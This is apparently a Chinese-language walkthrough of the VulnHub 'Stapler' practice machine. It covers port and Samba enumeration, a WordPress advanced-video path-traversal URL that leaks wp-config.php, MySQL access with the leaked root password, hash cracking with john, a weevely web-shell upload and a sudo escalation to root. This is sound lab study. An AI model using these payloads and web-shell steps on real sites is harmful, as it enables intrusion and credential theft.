vulnhub-Stapler
靶机地址:https://download.vulnhub.com/stapler/Stapler.zip
目标:获得root权限且找到flag.txt
作者:尼德霍格007
时间:2021/7/28
一、信息收集
nmap扫描靶机ip地址
nmap -sP 192.168.21.0/24
可以看到靶机地址是192.168.21.146,192.168.21.128是我kali机的IP地址
扫描开放端口
nmap -A -p 1-10000 192.168.21.146
扫描发现开放了许多端口,依次尝试每个端口获取信息
这是FTP匿名登录获得的内容
获得Elly和John两个用户名
ssh登陆
没有密码,登陆失败
12380(http服务)可以访问,
源码中有个zoe用户
139端口有个samba服务
这里我们可以通过enum4linux命令扫描Samba服务器
Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具。 它是用Perl编写的,基本上是一个包装Samba工具smbclient,rpclient,net和nmblookup。
enum4linux 192.168.56.101 >dayu.out
这里有两个活跃用户kathy和tmp
连接到kathy共享
smbclient //fred/kathy -I 192.168.21.146 -N
发现了几个文件,下载下来
继续访问tmp
smbclient //fred/tmp -I 192.168.21.146 -N
有个ls文件,也下载下来
查看下载下来的文件
后面几个也看了看,没什么有用信息,换个思路吧
运行nikto查看下刚才获得的网站信息
nikto -h 192.168.21.146:12380
网站使用了ssl且发现了3个目录,使用https访问
blogblog目录是一个wprdpress页面,wpscan扫描
wpscan --url https://192.168.21.146:12380/blogblog/ --disable-tls-checks
- –disable-tls-checks #禁用SSL/TLS证书验证。
发现了文件上传的目录以及wordpress版本是4.2.1
访问这个上传目录
https://192.168.21.146:12380/blogblog/wp-content/uploads/
在plugins目录发现了advanced-video
搜索能用的exp
searchsploit advanced video
copy到桌面
来分析一下这个exp
看到这个poc,学着来构造一个url
https://192.168.21.146:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=…/…/…/…/…/…/…/…/…/etc/passwd
返回一个url,访问
点击home之后会在https://192.168.21.146:12380/blogblog/wp-content/uploads/
中生成个jpeg文件,下载下来
我这里有三个,都下载下来
wget --no-check-certificate https://192.168.21.146:12380/blogblog/wp-content/uploads/*图片名称*
cat查看才发现这三个内容都是一样的
试着看一下wordperss的wp-config.php配置文件
分析前面我们在共享文件夹中得到的备份wordpress-4.tar.gz目录,我们利用的admin-ajax.php文件应该在wp-admin目录下,而wp-config.php应该和wp-admin目录在一个目录下,所有我们构造出的url是:
https://192.168.21.146:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=…/wp-config.php
访问这个url
点击返回的连接
点击home
回到之前的目录https://192.168.21.146:12380/blogblog/wp-content/uploads/
发现多了一个,下载下来查看
得到了mysql的root密码plbkac
登陆mysql
mysql -h 192.168.21.146 -u root -pplbkac
选择wordpress数据库–>列出数据表–>列出wp_users表中的所有数据
把得到的用户密码考出放到文本
新建空文档,把数据全部复制进去
使用命令
awk -F '|' '{print $4}' nide.txt
筛选出user_pass的值,保存下来
使用john工具破解密码
john nide2.txt --wordlist=/usr/share/wordlists/rockyou.txt
得到了john用户的密码incorrect
登陆wordpress后台:https://192.168.21.146:12380/blogblog/wp-login.php
二、get shell
在plugins这里有个可以上传文件的地方
使用weevely生成上传木马,之后上传木马,我这里设置了密码nide
在uploads文件目录看我们上次的木马
https://192.168.21.146:12380/blogblog/wp-content/uploads/
我这里手抖多上传了一次
weevely连接木马
weevely https://192.168.21.146:12380/blogblog/wp-content/uploads/back.php nide
运行uname -a,发现内核版本为4.4.0
三、提权
这里我们先查看home目录下全部用户执行过的历史命令
cat */.bash_history
有两条ssh登陆记录
我们试着登陆一下JKanode
不能用sudo提权。换Peter试试
peter用户可以使用sudo
直接sudo su root切换root用户
得到flag
b6b545dc11b7a270f4bad23432190c75162c4a2b
还有一种方法是使用EXPLOIT DATABASE(https://www.exploit-db.com/)中的39772.c上传到靶机运行来提权,我试了一下没有成功,我看网上有大佬成功了,有机会可以再试试。
四、总结
这次漏洞复现不算特别难,主要是前面的信息收集部分获取到的信息多而杂,需要从中找出有用的信息,之后就是正常的传马、取shell和提权。